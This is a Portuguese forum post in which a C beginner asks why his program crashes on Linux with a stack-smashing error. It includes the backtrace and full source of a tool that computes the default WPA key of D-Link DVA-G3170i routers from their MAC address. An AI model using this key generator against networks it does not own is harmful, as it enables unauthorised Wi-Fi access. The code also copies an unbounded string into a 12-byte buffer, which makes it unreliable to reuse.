Ir para conteúdo
Fórum Script Brasil

mabcs

Membros
  • Total de itens

    1
  • Registro em

  • Última visita

Sobre mabcs

mabcs's Achievements

0

Reputação

  1. Boas estou tentando aprender C/C++ mas os 1ºs problemas estão surgindo, é o seguinte tenho o seguinte codigo: Que compilei em windows e corre na perfeição. Escrevo o nome do programa ex: ( dlinkadress ) depois meto o mac (00:00:00:00:00 :00 ) o programa consiste em decifrar a wpa de origem do Rot.dlink atraves do mac adress. em windows beleza.... Em linux: se usar só o nome do prog ./dlinkadress ok corre normal ( não gera chave por que falta o mac adress ) ok ate aqui tudo bem mas quando lhe acrescento o mac, estoira .... *** stack smashing detected ***: ./dlinkmacunix2 terminated ======= Backtrace: ========= /lib/libc.so.6(__fortify_fail+0x50)[0x42f980] /lib/libc.so.6(+0xe592a)[0x42f92a] ./dlinkmacunix2[0x8048b33] /lib/libc.so.6(__libc_start_main+0xe7)[0x360ce7] ./dlinkmacunix2[0x8048411] ======= Memory map: ======== 001de000-001fa000 r-xp 00000000 08:12 130787 /lib/ld-2.12.1.so 001fa000-001fb000 r--p 0001b000 08:12 130787 /lib/ld-2.12.1.so 001fb000-001fc000 rw-p 0001c000 08:12 130787 /lib/ld-2.12.1.so 0034a000-004a1000 r-xp 00000000 08:12 130815 /lib/libc-2.12.1.so 004a1000-004a2000 ---p 00157000 08:12 130815 /lib/libc-2.12.1.so 004a2000-004a4000 r--p 00157000 08:12 130815 /lib/libc-2.12.1.so 004a4000-004a5000 rw-p 00159000 08:12 130815 /lib/libc-2.12.1.so 004a5000-004a8000 rw-p 00000000 00:00 0 005e3000-005fd000 r-xp 00000000 08:12 130389 /lib/libgcc_s.so.1 005fd000-005fe000 r--p 00019000 08:12 130389 /lib/libgcc_s.so.1 005fe000-005ff000 rw-p 0001a000 08:12 130389 /lib/libgcc_s.so.1 00bef000-00bf0000 r-xp 00000000 00:00 0 [vdso] 08048000-08049000 r-xp 00000000 08:12 49281 /home/mabcs/Desktop/dlink/dlinkmacunix2 08049000-0804a000 r--p 00000000 08:12 49281 /home/mabcs/Desktop/dlink/dlinkmacunix2 0804a000-0804b000 rw-p 00001000 08:12 49281 /home/mabcs/Desktop/dlink/dlinkmacunix2 09181000-091a2000 rw-p 00000000 00:00 0 [heap] b78cc000-b78ce000 rw-p 00000000 00:00 0 b78e0000-b78e2000 rw-p 00000000 00:00 0 bfbfd000-bfc1e000 rw-p 00000000 00:00 0 [stack] Aborted Estou iniciando ... em C porque achava que era facil num prgrama basico como este compilar para varias plataformas, no que estou errando ? Segue o codigo em questão #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> /* 0= X 1= r 2= q 3= a 4= H 5= N 6= p 7= d 8= S 9= Y A= w B= 8 C= 6 D= 2 E= 1 F= 5 Based on a MAC address: 12 34 56 78 9a bc Pattern of the mixing char must be: c1 b2 a3 94 85 76 27 9a c3 5b The final Result for the WPA/SPK key is: 6r 8q wa YH SN dp qd Yw 6a N8 */ int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str) { int i,j; if (mac==NULL) return 1; for (j=0,i=0;i<17;i++) if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_') str[j++] = mac[i]; return 0; } #ifdef IFX_MULTILIB_UTIL #define main wpakeygen_main #endif int main(int argc, char **argv) { unsigned char mac[12],key[20],newkey[20]; int i,j,index; char t; char hash[16] = { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'}; if (argc !=2 ) { printf("Usage: wpakeygen {MAC}\n"); printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX"); return 0; } Alpha_MACString_Remove_Separator(argv[1], mac); key[0]=mac[11]; key[1]=mac[0]; key[2]=mac[10]; key[3]=mac[1]; key[4]=mac[9]; key[5]=mac[2]; key[6]=mac[8]; key[7]=mac[3]; key[8]=mac[7]; key[9]=mac[4]; key[10]=mac[6]; key[11]=mac[5]; key[12]=mac[1]; key[13]=mac[6]; key[14]=mac[8]; key[15]=mac[9]; key[16]=mac[11]; key[17]=mac[2]; key[18]=mac[4]; key[19]=mac[10]; //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]); for (i=0;i<20;i++) { t=key[i]; if ((t >= '0') && (t <= '9')) index = t-'0'; else { t=toupper(t); if ((t >= 'A') && (t <= 'F')) index = t-'A'+10; else return 1; } newkey[i]=hash[index]; } printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]); return 0;
×
×
  • Criar Novo...